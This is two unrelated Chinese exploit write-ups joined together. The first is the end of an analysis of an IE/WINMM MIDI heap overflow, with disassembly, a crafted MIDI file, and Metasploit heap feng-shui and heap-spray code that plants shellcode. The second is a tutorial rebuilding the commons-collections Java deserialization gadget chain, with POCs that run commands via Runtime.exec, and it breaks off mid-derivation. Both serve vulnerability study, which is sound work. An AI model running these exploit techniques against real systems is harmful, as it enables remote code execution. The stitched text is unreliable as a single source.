76b2d230 742d je WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
76b2d232 0410 add al,10h
76b2d234 eb0a jmp WINMM!midiOutPlayNextPolyEvent+0x208 (76b2d240)
看到的不多，扩大汇编指令范围：
u eip-30 eip+30
WINMM!midiOutPlayNextPolyEvent+0x1bc:
76b2d1f4 e2f0 loop WINMM!midiOutPlayNextPolyEvent+0x1ae (76b2d1e6)
76b2d1f6 80fa90 cmp dl,90h
76b2d1f9 8855ff mov byte ptr [ebp-1],dl
76b2d1fc 7405 je WINMM!midiOutPlayNextPolyEvent+0x1cb (76b2d203)
76b2d1fe 80fa80 cmp dl,80h
76b2d201 755c jne WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
76b2d203 0fb6550b movzx edx,byte ptr [ebp+0Bh]
76b2d207 83e00f and eax,0Fh
76b2d20a c1e007 shl eax,7
76b2d20d 03c2 add eax,edx
76b2d20f 99 cdq
76b2d210 2bc2 sub eax,edx
76b2d212 d1f8 sar eax,1
76b2d214 807dff80 cmp byte ptr [ebp-1],80h
76b2d218 742a je WINMM!midiOutPlayNextPolyEvent+0x20c (76b2d244)
76b2d21a 84db test bl,bl
76b2d21c 7426 je WINMM!midiOutPlayNextPolyEvent+0x20c (76b2d244)
[***]76b2d21e 03f0 add esi,eax
76b2d220 f6450b01 test byte ptr [ebp+0Bh],1
[==============>eip]76b2d224 8a06 mov al,byte ptr [esi]
76b2d226 8ad0 mov dl,al
76b2d228 740c je WINMM!midiOutPlayNextPolyEvent+0x1fe (76b2d236)
76b2d22a 80e2f0 and dl,0F0h
76b2d22d 80faf0 cmp dl,0F0h
76b2d230 742d je WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
76b2d232 0410 add al,10h
76b2d234 eb0a jmp WINMM!midiOutPlayNextPolyEvent+0x208 (76b2d240)
76b2d236 80e20f and dl,0Fh
76b2d239 80fa0f cmp dl,0Fh
76b2d23c 7421 je WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
[***]76b2d23e fec0 inc al
[***]76b2d240 8806 mov byte ptr [esi],al
76b2d242 eb1b jmp WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
76b2d244 f6450b01 test byte ptr [ebp+0Bh],1
76b2d248 8d1430 lea edx,[eax+esi]
76b2d24b 8a02 mov al,byte ptr [edx]
76b2d24d 7408 je WINMM!midiOutPlayNextPolyEvent+0x21f (76b2d257)
76b2d24f a8f0 test al,0F0h
76b2d251 740c je WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
76b2d253 2c10 sub al,10h
在当前eip处eax=0x419，而eip最近执行过的与eax相关的指令为76b2d21e处的add
esi,eax，书中分析的是此处的esi来源于winmmAlloc(0x400)分配到的内存地址，而add
esi,eax中的eax=0x419超过了分配的0x400导致访问到超出0x19大小处的内容
，在eip下面的76b2d23e和76b2d240处可以看到，[esi]的值会加1，也即在超出0x19大小处的内存中的内容会加1，这就是这个漏洞的危害：导致内存某处的值+1，只要能够控制这个0x19处的内存的内容，就有机会利用这个漏洞。
上面之所以会有76b2d240处的导致[esi]加1的出现，是要在mid文件中的某个音轨事件处写上"打开音符"对应的值(书中是0x0073b29f)，如下||之间的内容：
00000000: 4d54 6864 0000 0006 0000 0001 0060 4d54 MThd.........`MT
00000010: 726b 0000 0035 00ff 030d 4472 756d 7320 rk...5....Drums
00000020: 2020 2842 4229 0000 c928 00b9 0764 00b9 (BB)...(...d..
00000030: 0a40 00b9 7b00 00b9 5b28 00b9 5d00 8550 .@..{...[(..]..P
00000040: 9923 7f00|9fb2 7300|ff2f 000a .#....s../..
满足mid文件中对应位置处的值为"打开音符"后，会导致在当前eip环境下的[esi]加1，也即76b2d21e执行后的[esi]加1，也即winAlloc(0x400)分配到的内存地址+0x19处的内容加1，而利用方式中正好是利用相应内存中的值加1导致任意代码执行。书中通过ida的f5分析函数调用与参数传递分析得到上面的esi的源是winmmAlloc(0x400)，也即在打开mid文件后会有一个这样的内存分配动作，于是构造出如下结构的内存空间使得winmmAlloc(0x400)分到的内存地址相对可控：
|xxxxxxxx|oooooooo|xxxxxxxxx|ooooooooo|xxxxxxxxx|ooooooooo|…
也即在mid文件被ie解析之前，先用js构造上面这样的内存格式，其中xxx表示有数据，ooo表示空闲内存，每个||之间的内存大小正好为0x400，这样在上面内存结构的基础上再由ie解析mid文件而产生winmmAlloc(0x400)的动作就会分配到上面的ooo的某个位置上，然后由于mid文件是特殊的构造好的会使winmmAlloc(0x400)分到的内存地址+0x19处的内存的内容加1的文件，于是ie解析mid文件后，将导致winmmAlloc(0x400)分到的某个ooo位置的右边一个xxx的位置上的偏移0x19中的值加1，当上面构造的特殊内存格式时构造好该位置内容的值+1会使得代码执行时，就可以利用这个漏洞了，而书中(msf)的利用方式是用下面的js来达到目的的：
[msf中的构造特殊内存结构的由ruby写的js]
def build_element(element_name, my_target, type="corruption")
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
element = ''
if my_target.name =~ /IE 8/
max = 63 # Number of attributes for IE 8
index = 1 # Where we want to confuse the type
else
max = 55 # Number of attributes for before IE 8
index = 0 # Where we want to confuse the type
end
element << "var #{element_name} = document.createElement("select")" + "n"
# Build attributes
0.upto(max) do |i|
case type
when "corruption"
obj = (i==index) ? "unescape("#{dst}")" : ""
else #leak
obj = ""
end
element << "#{element_name}.w#{i.to_s} = #{obj}" + "n"
end
return element
end
# Feng Shui and triggering Steps:
# 1. Run the garbage collector before allocations
# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
# 3. Make holes
# 4. Let windows media play the crafted midi file and corrupt the heap
# 5. Force the using of the confused tagVARIANT.
def build_trigger(my_target, type="corruption")
js_trigger = build_trigger_fn(my_target, type)
select_element = build_element('selob', my_target, type)
trigger = <<-JS
var heap = new heapLib.ie();
#{select_element}
var clones = new Array(1000);
function feng_shui() {
heap.gc();
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
#{js_trigger}
JS
trigger = heaplib(trigger, {:noobfu => true})
return trigger
end
上面msf中的代码对应书中的如下代码：
var selob=document.createElement("select")
selob.w0=
selob.w1=unescape("%u0c0c %u0c0c")
selob.w2=
selob.w3=
selob.w4=
selob.w5=
...
...
selob.w63=
var clones=new Array(1000)
function feng_shui(){
var i=0
while (i<1000){
clones[i]=selob.cloneNode(true)
i=i+1
}
var j=0
while(j<1000){
delete clones[j]
CollectGarbage()
j=j+2
}
}
上面为了达到某处内容值+1得到控制代码执行的目的使用的是：
创建select元素selob，设置64个属性，其中w1为string类型,其余为object类型，然后创建一个数组用来存放1000个selob元素，然后间隔释放1000个selob元素中的500个元素，然后由于ie解析mid文件，运行了winmmAlloc(0x400)，得到的分配地址位于某个释放的selob元素的位置，由于mid文件中某处已经构造好了音轨事件是"打开音符"，于是会使得某个selob元素的+19位置的值+1，于是该selob元素的第二个属性w1由string变成object，然后由下面的js来触发这个变成object的属性相应函数的执行，触发js如下：
function trigger(){
var k=999
while (k>0){
if (typeof(clones[k].w1)=="string"){
}else{
clone[k].w1('come on!')
}
k=k-2
}
feng_shui()
document.audio.Play()
}
上面的js中的函数trigger由下面的js调用执行(执行trigger函数在ie解析mid文件之后[也即在上面的
document.audio.Play执行之后])：
</script>
<script for=audio event=PlayStateChange(oldState,newState)>
if (oldState == 3 && newState == 0) {
trigger();
}
</script>
在js构造的string变成object的属性时执行的函数的地址为0x0c0c0c0c是堆喷射的利用地址，对应msf中的构造堆喷射内存布局的代码如下：
def build_spray(my_target, leak=0)
# Extract string based on target
if my_target.name == 'IE 8 on Windows XP SP3'
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
else
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
end
# Build shellcode based on Rop requirement
code = ''
if my_target['Rop'] and datastore['MSHTML'].to_s != ''
print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}")
code << create_info_leak_rop(my_target, leak)
code << payload.encoded
elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''
print_status("Generating ROP using msvcrt")
code << create_rop(my_target, payload.encoded)
else
code << payload.encoded
end
shellcode = Rex::Text.to_unescape(code)
# 1. Create big block of nops
# 2. Compose one block which is nops + shellcode
# 3. Repeat the block
# 4. Extract string from the big block
# 5. Spray
spray = <<-JS
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{shellcode}");
var nops = unescape("%u0c0c%u0c0c");
while (nops.length < 0x1000) nops+= nops;
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
#{js_extract_str}
heap_obj.gc();
for (var i=0; i < 600; i++) {
heap_obj.alloc(block);
}
JS
spray = heaplib(spray, {:noobfu => true})
return spray
end
**0x03 小结**
漏洞场景：
程序(iexplore.exe)解析特殊构造的文件(mid)时，在内存中可找到有内存分配动作(winmmAlloc)，分配的内存大小一定(0x400)，如果解析特殊文件(mid中音轨事件为打开音符)会使程序在分配到的内存地址范围之外(0x419>0x400)有改变大小动作(使0x419偏移处的值+1)。
利用方法：
可以通过与这里相同的js的构造特殊内存结构的方法来利用这个改变动作来控制eip。
**参考文献**
* * *
林桠泉. 漏洞战争：软件漏洞分析精要[M]. 北京:电子工业出版社, 2016. | 社区文章 |
推荐阅读时间：60min
全文字数：2w+
## 前言
这是个人学习java反序列化的第一篇利用链的文章，就好像P牛说的`不知道为什么网上讲到java反序列化学习，上来就是cc链，你知道这个链它有多复杂么.jpg`。萌新也是理所当然的踩了这个坑，然后.....在一路质疑自己智商和"我不服"的情况下趟了过去。
路难行，难行，总归要走。
走来，回望去，呵，牛逼。
在此文中是以一个只了解java反射机制和反序列化利用点（readObject）的视角去一点点复现推导了commons-collections、jdk1.7的poc的构造。
同时记录下了一个个踩的坑，再爬出来，再跳进去，再爬出来的历程。
如果你具备了反射机制和反序列化基本原理的知识，同时想学习cc链的话，个人感觉是这篇文是再适合不过了。
那么开始。
了解反射机制的话，我们会发现若存在一个固有的反射机制时，输入可控，就可能形成任意函数调用的情况，具有极大的危害。
但实际上真的有存在这种情况：这就是commons-collections-3.1 jar包，cve编号：cve-2015-4852
在开始之前我们需要理一下反序列化漏洞的攻击流程：
1. 客户端构造payload(有效载荷)，并进行一层层的封装，完成最后的exp（exploit-利用代码）
2. exp发送到服务端，进入一个服务端自主复写（也可能是也有组件复写）的readobject函数，它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1（剥去第一层）
3. 这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中)，会执行一个exp_1这个恶意数据类的一个方法，在方法中会根据exp_1的内容进行函处理，从而一层层地剥去（或者说变形、解析）我们exp_1变成exp_2、exp_3......
4. 最后在一个可执行任意命令的函数中执行最后的payload，完成远程代码执行。
那么以上大概可以分成三个主要部分：
1. payload：需要让服务端执行的语句：比如说弹计算器还是执行远程访问等；我把它称为：payload
2. 反序列化利用链：服务端中存在的反序列化利用链，会一层层拨开我们的exp，最后执行payload。(在此篇中就是commons-collections利用链)
3. readObject复写利用点：服务端中存在的可以与我们漏洞链相接的并且可以从外部访问的readObject函数复写点；我把它称为readObject复写利用点（自创名称...）
## commons-collections-3.1
首先来看看[commons-collections项目](http://commons.apache.org/proper/commons-collections/index.html)吧
官网第一段：
> Java commons-collections是JDK
> 1.2中的一个主要新增部分。它添加了许多强大的数据结构，可以加速大多数重要Java应用程序的开发。从那时起，它已经成为Java中公认的集合处理标准。
Apache Commons
Collections是一个扩展了Java标准库里的Collection结构的第三方基础库，它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件，Commons
Collections被广泛应用于各种Java应用的开发。
它是一个基础数据结构包，同时封装了很多功能，其中我们需要关注一个功能：
> * Transforming decorators that alter each object as it is added to the
> collection
> * 转化装饰器：修改每一个添加到collection中的object
>
Commons
Collections实现了一个TransformedMap类，该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时，自动对该元素进行特定的修饰变换，具体的变换逻辑由Transformer类定义，Transformer在TransformedMap实例化时作为参数传入。
`org.apache.commons.collections.Transformer`这个类可以满足固定的类型转化需求，其转化函数可以自定义实现，我们的漏洞触发函数就是在于这个点。
漏洞复现需要下载3.1版本源码[3.1版本的下载地址](https://archive.apache.org/dist/commons/collections/),进去寻觅一下源码和jar包都有。
由于没有找到漏洞版本3.1的api说明，我们可以参考[3.2.2的api文档](http://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/index.html)
## POC->利用链
我们将通过调试POC得到漏洞利用链的调用栈，顺便介绍一下各个类，再通过分析调用栈的函数，反推出POC来探究其中的利用原理。
我们先看一下网上的POC代码，如下：
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class commons_collections_3_1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西，其实就是获取这个map的第一个键值对（value,value）；然后转化成Map.Entry形式，这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}
> 好好看代码的同学肯定会意识到，以上的poc其实只包括我总结三要素的payload和反序列化利用链两者。
> 而关键的readObject复写利用点没有包含在内。事实确实如此。
>
> 这个poc的复写利用点是`sun.reflect.annotation.AnnotationInvocationHandler的readObject()`，但是我们先精简代码关注payload和利用链，最后再加上readObject复写点。
调试以上POC，得到两种调用栈：
### 漏洞链
[Map.Entry](https://blog.csdn.net/gm371200587/article/details/82108372)其实就是键值对的数据格式，其setValue函数如下
`AbstracInputCheckedMapDecorator.class`
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);//进入此处
return super.entry.setValue(value);
}
[TransformedMap](http://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/org/apache/commons/collections/map/TransformedMap.html)是一种重写map类型的set函数和Map.Entry类型的setValue函数去调用转换链的Map类型。
`TransformedMap.class`
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);//进入此处
}
由于TransformedMap具有commons_collections的转变特性，当赋值一个键值对的时候会自动对输入值进行预设的Transformer的调用。
[`ChainedTransformer.class`](http://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/org/apache/commons/collections/functors/ChainedTransformer.html)：这里有一个
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
//循环进入此处，先进入1次ConstantTransformer.class，再3次InvokerTransformer.class
object = this.iTransformers[i].transform(object);
//另外需要注意在数组的循环中，前一次transform函数的返回值，会作为下一次transform函数的object参数输入。
}
return object;
}
`transform()`函数是一个接口函数，在上面的循环中进入了不同的函数。
先是1次[`ConstantTransformer.class`](http://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/org/apache/commons/collections/functors/ConstantTransformer.html)
public Object transform(Object input) {
return this.iConstant;
}
再是进入了[`InvokerTransformer.class`](http://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/org/apache/commons/collections/functors/InvokerTransformer.html)，看到这个就会发现有点东西了。
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
//获取input对象的class
Class cls = input.getClass();
//根据iMethodName、iParamTypes选择cls中的一个方法
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//根据iArgs参数调用这个方法
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}
明显的反射机制，可见 **InvokerTransformer** 就是我们的触发任意代码执行处，我们看看源码中的文件描述：
先看看我们需要关注的`InvokerTransformer`类的描述（在jar包中是找不到描述信息的，可以通过下载[官方源码](https://www-us.apache.org/dist//commons/collections/)得到）：
/**
* Transformer implementation that creates a new object instance by reflection.
*
通过反射机制创建一个新的对象实例的转换器实现
我们可以这里有经典的反射机制调用，在细节分析前我们先整理一下调用栈，但不需要很理解。
Map.Entry 类型setValue("foobar")
=> AbstracInputCheckedMapDecorator.setValue()
=> TransformedMap.checkSetValue()
=> ChainedTransformer.transform(Object object)
根据数组，先进入 => ConstantTransformer.transform(Object input)
再进入 => InvokerTransformer.transform(Object input)
## 重构POC
首先明确我们的最终目的是为了执行语句`Runtime.getRuntime().exec("calc.exe");`
* Runtime.getRuntime：获取一个Runtime的实例
* exec()：调用实例的exec函数
因为漏洞函数最后是通过反射机制调用任意这个语句先转化成反射机制如下（后面需要用到）：
> 至于如何构造反射机制的语句，参考往期文章java反射机制
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取实例
,
"calc.exe"
)
### 第一步 InvokerTransformer
再回看反射机制触发函数`InvokerTransformer`类的`transform(Object input)`（做了简化处理，只留取重点部分）：
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
通过构造的反射机制以及以上代码进行填空，可以得出当变量等于以下值时，可形成命令执行：
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
this.iMethodName="exec"
this.iParamTypes=String.class
this.iArgs="calc.exe"
那么在`InvokerTransformer`类源码中我们可以找到赋值this.iMethodName,this.iParamTypes,this.iArgs的构造函数:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
我们就可以构建以下测试代码直接调用InvokerTransformer通过反射执行任意命令：
下面开始试一下：
public static void main(String[] args) throws Exception {
//通过构造函数，输入对应格式的参数，对iMethodName、iParamTypes、iArgs进行赋值
InvokerTransformer a = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"}
);
//构造input
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
//执行
a.transform(input);
}
### 在第二步之前
弹出了计算器！好像很厉害的样子！然后我们来模拟一下利用场景：
* 为了方便，攻击者受害者写在同一函数中
* 使用文件写入，代替网络传输
> 由于InvokerTransformer继承了Serializable类，是可以成功序列化的
public static void main(String[] args) throws Exception {
//模拟攻击
//1.客户端构造序列化payload，使用写入文件模拟发包攻击
InvokerTransformer a = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"});
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(a);
//2.服务端从文件中读取payload模拟接受包，然后触发漏洞
//服务端反序列化payload读取
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//神奇第一处：服务端需要自主构造恶意input
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
//神奇第二处：服务端需要将客户端输入反序列化成InvokerTransformer格式，并在服务端自主传入恶意参数input
InvokerTransformer a_in = (InvokerTransformer) fin.readObject();
a_in.transform(input);
}
我们会发现如果我们要直接利用这个反射机制作为漏洞的话，需要服务端的开发人员：
1. 帮我们写一个payload作为input；
2. 接受客户端输入参数，反序列化成InvokerTransformer类
3. 再刻意调用InvokerTransformer类的transform函数
实际上.....只有开发人员是自己人的情况下才满足条件吧......
所以我们面临一些问题：
1. payload肯定需要在客户端可以自定义构造，再传输进入服务端
2. 服务端需要把我们的输入exp反序列化成一个在代码中可能使用到的类
3. 并且在代码正常操作中会调用这个类中的一个可触发漏洞地函数（当然这个函数最后会进入我们InvokerTransformer类的transform函数，从而形成命令执行）
4. 如果这个反序列化的类和这个类触发命令执行的方法可以在一个readObject复写函数中恰好触发，就对于服务端上下文语句没有要求了！
> 这边假如像预期这样，是对服务端上下文没有要求，因为只要执行readObject就肯定会命令执行，不需要其他上下文条件。
> 但是对于服务端版本环境是有要求的，之后会说到
那么我们一个个来解决问题：首先使客户端自定义paylaod！
### 第二步 ChainedTransformer
下面我们需要关注 **ChainedTransformer** 这个类,首先看一下这个类的描述：
/**
* Transformer implementation that chains the specified transformers together.
* <p>
* The input object is passed to the first transformer. The transformed result
* is passed to the second transformer and so on.
*
将指定的转换器连接在一起的转化器实现。
输入的对象将被传递到第一个转化器，转换结果将会输入到第二个转化器，并以此类推
可以知道他会把我们的Transformer变成一个串，再逐一执行，其中这个操作对应的就是 **ChainedTransformer**
类的`transform`函数
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
这里会遍历iTransformers数组，依次调用这个数组中每一个Transformer的transform，并串行传递执行结果。
首先确定iTransformers可控， **iTransformers数组** 是通过 **ChainedTransformer** 类的构造函数赋值的：
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers) {
super();//这个super不清楚做了啥，
iTransformers = transformers;
}
那么我们知道可以自定义iTransformers的内容，我们已有条件如下：
//最终执行目标
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取实例
,
"calc.exe"
)
//InvokeTransformer关键语句：
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
再看到InvokeTransformer代码我们需要 **引出一个注意点** ：
> 这里我们需要注意到`input.getClass()`这个方法使用上的一些区别：
>
> * 当input是一个类的实例对象时，获取到的是这个类
> * 当input是一个类时，获取到的是java.lang.Class
>
>
> 可以使用如下代码验证，这里不再赘述
Object a = Runtime.getRuntime();
Class b = Runtime.class;
System.out.println(a.getClass());
System.out.println(b.getClass());
//结果
//class java.lang.Runtime
//class java.lang.Class
基于之前写的代码：
//只调用InvokeTransformer的情况如下：
InvokerTransformer a = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"});
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
我们也可以知道input的为Runtime类的对象，所以cls就是Runtime类，所以cls.getMethod可以找到exec方法，直接进行调用。
先把a封装成ChainedTransformer格式，但是payload还是在外面
//客户端构造payload
Transformer[] transformers = new Transformer[] {
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"});
}
Transformer transformerChain = new ChainedTransformer(transformers);
//服务端触发所需内容
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
transformerChain.transform(input);//此处必须为input，作为第一个输入
把payload放入Transformer数组中，需要转化成特定的Transformer格式才行。
#### 第二点五步 ConstantTransformer -> Runtime实例序列化
我们找到`ConstantTransformer`类跟`InvokkerTransformer`一样继承`Transforme`父类，可以进入数组
顾名思义ConstantTransformer类其实就只会存放一个常量；它的构造函数会写入这个变量，他的transform函数会返回这个变量。
把Runtime实例写入这个变量：
Transformer[] transformers = new Transformer[] {
//以下两个语句等同,一个是通过反射机制得到，一个是直接调用得到Runtime实例
// new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);//此处输入可以为任意值，因为不会被使用到，相当于初始第一个输入为我们设置的常量
以上代码可以成功弹框执行！那么我们模拟一下序列化与反序列化过程！
//客户端构造payload
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
//payload序列化写入文件，模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(transformerChain);
//服务端反序列化payload读取
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式，并在服务端自主传入恶意参数input
Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
transformerChain_now.transform(null);
但是很遗憾的告诉以为快要成功的你，成功的本地测试加上序列化、反序列化过程之后就会失败。
因为Runtime类的定义没有继承`Serializable`类，所以是不支持反序列化的。
那么我们在payload写入Runtime实例的计划就泡汤了。
#### 第二点八步 在服务端生成Runtime实例
既然我们没法在客户端序列化写入Runtime的实例，那就让服务端执行我们的命令生成一个Runtime实例呗？
我们知道Runtime的实例是通过`Runtime.getRuntime()`来获取的，而`InvokerTransformer`里面的反射机制可以执行任意函数。
同时，我们已经成功执行过Runtime类里面的exec函数。讲道理肯定是没问题的.
我们先看getRuntiime方法的参数
public static Runtime getRuntime() {
return currentRuntime;
}
没有参数，那就非常简单了
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),//得到Runtime class
//由于InvokerTransformer的构造函数要求传入Class类型的参数类型，和Object类型的参数数值，所以封装一下，下面也一样
//上面传入Runtime.class，调用Runtime class的getRuntime方法（由于是一个静态方法，invoke调用静态方法，传入类即可）
new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
//上面Runtime.getRuntime()得到了实例，作为这边的输入(invoke调用普通方法，需要传入类的实例)
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
> 在这里，之前自己陷入了一个很傻逼的问题，即：InvokerTransformer类transform方法中return
> method.invoke()这个语句
> invoke()调用到底return了啥?
> 因为在这里形成了一个调用return的结果，再调用的链。为什么就可以上一个输出作为下一个输入时，可以成功调用了呢？
> 一开始以为invoke会统一返回一个对象作为下一个输入什么的，并且在调试的时候每次invoke的结果都不一样，源码看的头晕。
> 实际上是钻了死胡同：invoke的return是根据被调用的函数return啥，invoke就return啥。
> 就好比我invoke一个我自定义的方法a，在a中，我return了字符串"1"。那么就是invoke的结果就是字符串"1"。
> 看以上的过程就是第一次Runtime.getRuntime()的结果输入了下一个InvokerTransformer
以上感觉是万事大吉了！但是实际上并不是...
回想之前对于InvokerTransformer中`Class cls = input.getClass();`的解释
> 这里我们需要注意到`input.getClass()`这个方法使用上的一些区别：
>
> * 当input是一个类的实例对象时，获取到的是这个类
> * 当input是一个类时，获取到的是java.lang.Class
>
我们来推演第一次InvokerTransformer的反射调用，即得到Runtime类对象的getRuntime方法调用:
//InvokeTransformer关键语句：
public Object transform(Object input) {//input为我们设置的常量Runtime.class
Class cls = input.getClass();//！！！这里由于input是一个类，会得到java.lang.Class
//在java.lang.Class类中去寻找getRuntime方法企图得到Runtime类对象，此处报错！！
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
那么我们好像陷入了一个死胡同：
得到Runtime类实例才能调用exec方法。
而得到Runtime类实例作为input，才能得到Runtime class，才能找到getRuntime方法，得到Runtime类实例.........
.....................非常的尴尬.......................
#### 第二点九步 还是反射机制
那么我们通过直接调用Runtime.getRuntime方法好像是行不通了,有没有其他方法呢？
**还是反射机制**
已知：
1. 我们开头不能获得`Class.forName("java.lang.Runtime")`，只能得到`Class.forName("java.lang.Class")`
2. 我们可以有任意的反射机制
求：
3. 我们要获取到Runtime.getRunime函数，并执行它。
解：
4. 通过反射机制获取反射机制中的getMethod类，由于getMethod类是存在Class类中，就符合开头Class类的限制
5. 通过getMethod函数获取Runtime类中的getRuntime函数
* 在哪个类中调用getMethod去获取方法，实际上是由invoke函数里面的的第一个参数obj决定的
6. 再通过反射机制获取反射机制中的invoke类，执行上面获取的getRuntime函数
7. invoke调用getRuntime函数，获取Runtime类的实例
* 这里在使用反射机制调用getRuntime静态类时，invoke里面第一个参数obj其实可以任意改为null，或者其他类，而不一定要是Runtime类
> 具体变化细节，我选择把它放在反射机制一文中说明，这边给出结果。
我们的最终目的是执行
`Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")`
先来获取getRuntime类
//目标语句
Class.forName("java.lang.Runtime").getMethod("getRuntime")
//使用java.lang.Class开头
Class.forName("java.lang.Class").getMethod("getMethod", new Class[] {String.class, Class[].class })
.invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);
